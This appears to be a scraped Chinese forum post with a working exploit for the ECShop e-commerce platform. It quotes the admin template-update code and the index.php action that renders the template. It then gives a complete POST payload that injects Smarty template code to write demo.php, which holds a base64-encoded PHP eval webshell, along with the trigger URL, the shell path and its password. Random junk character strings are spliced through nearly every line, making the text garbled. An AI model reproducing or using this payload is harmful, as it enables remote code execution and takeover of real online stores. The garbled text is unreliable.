首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板8 H8 z6 ]% w7 B2 H3 w- R% t0 \% b
2 M2 Q! U7 H G4 ]而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了 `/ I+ A9 `0 e$ X+ Q8 M' v
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ W: \# k" ?) F6 Z/ \" U; [ Z2 b
admin/template.php
+ R3 N3 a" X* J6 O) e, }- D* R0 @* R7 v4 ?2 c
1 if ($_REQUEST['act'] == 'update_library') 1 j* q8 D4 T8 H# l5 d5 X
" {- {+ H- e$ g; z0 E. J1 ^2 # G ]3 _( e! {- W' k5 l( C3 k
: \5 }& P* {3 S( K% R3 { + ?' S( Z& o g: W |
7 R' Y. Q" T* h0 v- [" E2 b7 V5 f4 check_authz_json('library_manage');
7 G/ W" v4 ^) [+ E8 c! X# y
7 [( A; W7 p* Q) r. F' o5 Q6 d5 ' f! E9 {. K3 L8 W* w: r
5 {# n7 U4 q7 w3 R0 c
6 $html = stripslashes(json_str_iconv($_POST['html'])); ' h" m. w& O! X- k# Y j8 i
% B1 v, S7 x+ j2 H7 P; C7 ; {7 q( n! z- O% _ p f$ j
; |% |/ E4 E& V6 t0 T& X T5 s8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 5 p! X' k) g r1 c0 D7 p
0 G: z( d" r y& _# U9 4 C/ a; s( X. {; Q: |1 G: p
1 t* r" h, M& M- ?# r
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 n# A& Y7 t0 Y! N3 l$ L' x/ Y/ i% \7 y4 S
11 2 l' L, e- r" i
2 [( z& X9 ?- f8 D12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 ~4 r- t0 o. J. P
; E- V* G" n3 n4 g" |7 _! n13 ; e& g$ d$ F; m z9 c* ]2 o: e
* `5 G y0 v8 G( I
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
4 U. N9 o5 q" b. k3 R# J( ^7 v5 t
. r) O9 G6 [+ e, ?5 k- ^15 { ' K( q* j |+ z# c
1 R9 [( v) b* k4 b d
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); X) v4 a! `8 I( y& f- Q
) g7 s: R8 O e& L; y$ J( {% ~
17 make_json_result('', $_LANG['update_lib_success']); ) l% ?. j/ `. o9 F9 \
5 U; V. y' L/ V5 G) W) Z. d8 L18 }
d( j- a5 k" D/ b
3 v( ~, M& [6 y0 W; m19 else
5 Q/ z0 [- `7 [ o! N5 I u+ ~
' |% }7 [3 @' W1 ^* |4 p20 { % C4 M, o* w2 Q8 _
; g0 o! p' {' c& ]: ~21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
( P/ Y9 h2 G5 i3 c
) ?3 H+ t) o. H6 {3 U5 V2 S$ e' E; }22 }
5 Z: o9 l& X# P1 ~ x+ \9 [* U
23 } 1 `8 ]; A1 v/ P: ~6 U
5 K/ g; A. z5 D- c4 Z; [
那么找个比较方便调用了模板的文件
. c9 P; Q( | K$ d- w+ e6 ] Eindex.php2 p' u, N+ ^7 X1 q$ Z( b0 f
7 O* `6 u6 Z' p3 p: X6 G1 if ($act == 'cat_rec') % ]8 V. L V3 L0 d
6 A' k2 \; Y7 f" s5 N& k7 f3 u
2 ! U3 Q. W4 ]! L! O
6 c, B0 T& H" v5 Q; J4 P3 {
s! i9 Z( W* s$ u! N3 I8 N# E6 ]4 k% y) v8 ?. m
4
; r. r7 Z& \- W! x+ k; b" t0 ?0 R3 R# a( D' Z7 f
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 8 b9 z6 T" b# ~# d
+ {, m( n$ d8 a4 w! i3 S7 j
6
0 W, J8 B" n8 V/ u" k' |, D9 a" F" U; j# r8 A, Y. q$ j A
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; % K: l9 `' X, s( Z6 c
6 i$ D6 ? v. m: u/ t: `- k8 . ~. o6 ~" V" V. y* Y
# @3 Y3 `& y# v3 V( ?6 {3 |( c
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # o* ?0 H! @5 F# n$ o
9 p8 Z3 z7 N. u4 b+ u; ~; Q10
0 S# N/ s6 y) O( |. l+ j/ C! t) T7 ~/ G8 k) a
11 include_once('includes/cls_json.php');
$ ^8 b' F3 ^ n6 S
4 S N2 v- M; b! r4 P12 1 |+ N; r1 |2 _0 z! @, @
) Y. h, ]' [# h! H
13 $json = new JSON; $ _: ^- j$ p, e1 h) F6 \
" x0 }( U/ E9 |% o5 |: u9 j
14
/ v9 ~( r! C) Y3 p5 ^- ]$ Q
5 X# z2 D( Y/ Y$ D15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
$ Y4 _8 B0 D! Y8 m, n/ g$ o4 Z$ U" U) d7 M( s$ d6 n
16
/ R9 ]. V' x |( P5 V4 k. L( _
/ a" M# i7 I8 { L6 z17 $children = get_children($cat_id);
) r5 D% `7 w" S# m1 m9 l q w7 _$ [% T: v+ T d
18
6 P' R, t$ y+ J) H- P6 D
+ p; j8 S4 C4 H3 w, V* \& Z19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 8 y6 ~3 q J* c( E x6 _
5 e" F o8 M! ?6 K20 " _7 a6 X6 _9 K9 d, l5 n
2 n" b. d. U+ z21 $smarty->assign('cat_rec_sign', 1);
9 F+ ?9 n. h! c: D* p% q7 H% U5 }: @8 H, O% c! e
22 % c+ G, o. m% q/ t
, ~2 b" q2 w! K3 p) U23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 3 p- X" \8 U( O! V7 D8 k& N* F; N
" K3 v- d& X9 u' ^24
: l$ R& D o1 Y
) b4 _5 M6 l6 |! q$ ^25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ; w) i- Q4 u) {; a) x8 J
* T: a: v5 x% U5 q5 a1 o# s26 ) b. _& ~5 D. P. \; N4 T% M0 E
) f% `: D% u* P( a. D! Z- m
27 echo $rec_array[$rec_type]; 0 X2 V3 E9 l, U
7 `/ i4 q& _3 L: D+ H$ V M& c
28
7 Y+ g$ i: B- T# A8 c
4 a; P+ N Q( |5 e8 z+ {& ^29 die($json->encode($result));
4 S0 D" s# ]! u! C+ b$ d$ c; ~: |% G8 O
. t4 f" `4 z% p& C I% D% n/ {30
! z5 _& q5 A8 @% y
6 ?/ l3 V# I' P/ s7 j31 } - K5 Z& B4 H# B3 `# f
2 d+ D# v7 T4 Y6 U$ E
那么就有利用方法了
0 w" U/ [8 _9 q- G8 ?post包到http://localhost/ec/admin/template.php?act=update_library
% D5 c- w7 ]* m1 l. C' e6 CPost内容:
$ Q S" D% n3 n2 A; }3 h: h7 ^" w: U3 N
- z. F7 E. I- A) D; C" |% ~2 ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 i0 m; m9 W6 |, q' N* q
* n: A) M t7 E' h. A( w然后访问http://localhost/ec/index.php?act=cat_rec6 S* k7 g8 `& e1 u& A# r( j. r
8 z- P1 a ]1 P" \shel地址:http://localhost/ec/demo.php9 {" G! Q: Z# |1 d, d+ n: s
密码c- \& m/ D! H" W# U7 ~$ }
0 b6 m/ Y d% W% G) G0 S+ w+ W6 z& Z
|